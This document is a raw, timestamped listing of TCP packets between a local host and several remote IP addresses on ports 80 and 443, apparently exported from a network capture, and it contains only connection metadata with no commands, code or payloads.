Nov 20, 2024 08:09:24.702220917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702362061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702374935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702385902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702395916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702406883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702416897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702421904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702428102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702439070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702440023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702451944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702460051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702475071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702491045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702800989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702811956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702821970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702832937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702843904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702847004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702855110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702862024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702867985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.703001976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.703001976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.703001976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.703099012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.703110933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.703121901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.703131914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.703142881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.703155041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.703212976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.703212976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.703212976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.703212976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.703237057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.711333990 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.711339951 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.719331026 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.739289999 CET	49853	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.739306927 CET	443	49853	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.739331961 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.747674942 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.747761965 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.748327017 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.748362064 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.748394966 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.748409986 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.748440027 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.749089956 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.749105930 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.749145031 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.749150991 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.749186993 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.749689102 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.749703884 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.749742985 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.749751091 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.749775887 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.750161886 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.750205994 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.750211954 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.750845909 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.750864983 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.750904083 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.750910044 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.750936031 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.751394033 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.751408100 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.751488924 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.751494884 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.751890898 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.751949072 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.751955032 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.753981113 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.753993034 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.754062891 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.754110098 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.754143953 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.754710913 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.754730940 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.766916990 CET	443	49856	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.767124891 CET	49856	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.767138004 CET	443	49856	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.767267942 CET	443	49855	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.767641068 CET	49855	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.767649889 CET	443	49855	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.768153906 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.768244982 CET	443	49856	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.768280029 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.768309116 CET	49856	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.768348932 CET	49843	443	192.168.2.5	20.110.205.119
Nov 20, 2024 08:09:24.768910885 CET	443	49855	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.768966913 CET	49855	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.772479057 CET	49843	443	192.168.2.5	20.110.205.119
Nov 20, 2024 08:09:24.772515059 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.772867918 CET	49856	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.772943020 CET	443	49856	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.773839951 CET	49855	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.773912907 CET	443	49855	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.781611919 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.781677961 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.781825066 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.782741070 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.782757044 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.782766104 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.782812119 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.792996883 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.793015957 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.793081045 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.793093920 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.807727098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.812645912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.815509081 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.817346096 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.817358017 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.818028927 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.818032980 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.825277090 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.825686932 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.825714111 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.826121092 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.826127052 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.826319933 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.826373100 CET	443	49858	23.44.201.20	192.168.2.5
Nov 20, 2024 08:09:24.826991081 CET	49858	443	192.168.2.5	23.44.201.20
Nov 20, 2024 08:09:24.827007055 CET	443	49858	23.44.201.20	192.168.2.5
Nov 20, 2024 08:09:24.827193022 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.827198982 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.827666998 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.827676058 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.828007936 CET	443	49858	23.44.201.20	192.168.2.5
Nov 20, 2024 08:09:24.828090906 CET	49858	443	192.168.2.5	23.44.201.20
Nov 20, 2024 08:09:24.829204082 CET	49858	443	192.168.2.5	23.44.201.20
Nov 20, 2024 08:09:24.829262018 CET	443	49858	23.44.201.20	192.168.2.5
Nov 20, 2024 08:09:24.839184046 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.839212894 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.839251041 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.839261055 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.839296103 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.839523077 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.839579105 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.839586973 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.840013981 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.840054035 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.840068102 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.840075016 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.840104103 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.840118885 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.840764046 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.840792894 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.840854883 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.840861082 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.840884924 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.840903997 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.841552973 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.841588974 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.841615915 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.841622114 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.841634989 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.841659069 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.841677904 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.842140913 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.842153072 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.863533974 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.867786884 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.867806911 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.868335962 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.868352890 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.868961096 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.868989944 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.869040012 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.869069099 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.869216919 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.869271994 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.869695902 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.869695902 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.869715929 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.869764090 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.875334978 CET	443	49854	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.875560999 CET	49854	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.894210100 CET	49858	443	192.168.2.5	23.44.201.20
Nov 20, 2024 08:09:24.894223928 CET	443	49858	23.44.201.20	192.168.2.5
Nov 20, 2024 08:09:24.912503004 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:24.913368940 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:24.913389921 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:24.913758993 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:24.914324999 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:24.914391994 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:24.914797068 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:24.914813995 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:24.914823055 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:24.920775890 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.920851946 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.920984030 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.929207087 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.929277897 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.929352045 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.931406021 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.931487083 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.931548119 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.936711073 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.936737061 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.936739922 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.936739922 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.936752081 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.936759949 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.936760902 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.936774015 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.938010931 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.938018084 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.938028097 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.938030958 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.940361977 CET	49867	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.940403938 CET	443	49867	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.940550089 CET	49868	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.940577030 CET	443	49868	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.940592051 CET	49867	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.940644026 CET	49868	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.941162109 CET	49853	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.941168070 CET	49856	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.941169024 CET	49855	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.941184044 CET	443	49856	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.941200972 CET	443	49855	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.943216085 CET	49867	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.943244934 CET	443	49867	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.943495035 CET	49868	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.943506956 CET	443	49868	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.944364071 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.944415092 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.944490910 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.944606066 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.944616079 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.965250969 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.965939999 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.965962887 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.966588020 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.966593981 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.973793983 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.973855972 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.973958969 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.975048065 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.975086927 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.975097895 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.975104094 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.987109900 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.987154007 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.987355947 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.987684011 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.987694979 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.990266085 CET	443	49863	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.990539074 CET	49863	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.990573883 CET	443	49863	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.991663933 CET	443	49863	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.991748095 CET	49863	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.992136955 CET	49863	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.992216110 CET	443	49863	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.992301941 CET	49863	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.992310047 CET	443	49863	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.992721081 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.993000984 CET	49859	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.993030071 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.993688107 CET	443	49861	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.993782997 CET	443	49862	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.993879080 CET	49861	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.993886948 CET	443	49861	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.994003057 CET	49862	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.994019985 CET	443	49862	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.994292974 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.994362116 CET	49859	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.994692087 CET	49859	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.994770050 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.994891882 CET	443	49861	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.994900942 CET	49859	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.994915962 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.994945049 CET	49861	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.995367050 CET	443	49862	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.995421886 CET	49862	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.995577097 CET	49861	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.995629072 CET	443	49861	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.995697975 CET	49861	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.996035099 CET	49862	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.996102095 CET	443	49862	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.996294975 CET	49862	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.996303082 CET	443	49862	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.997200966 CET	49858	443	192.168.2.5	23.44.201.20
Nov 20, 2024 08:09:25.018239975 CET	443	49860	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.024928093 CET	49860	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.024950027 CET	443	49860	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.026082039 CET	443	49860	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.026148081 CET	49860	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.028804064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.028862953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.028875113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.028887033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.028918028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.028934002 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.029125929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029175997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.029273033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029284954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029295921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029311895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.029330969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.029571056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029582977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029613972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.029647112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.029758930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029769897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029803991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.029947042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029961109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029978991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029989958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.029994011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.030003071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030028105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.030045033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.030462027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030472994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030483007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030495882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030510902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.030541897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.030817986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030827045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030855894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.030963898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030973911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030986071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.030996084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031006098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031007051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.031018019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031028032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031039000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031045914 CET	49765	80	192.168.2.5	185.215.113.206
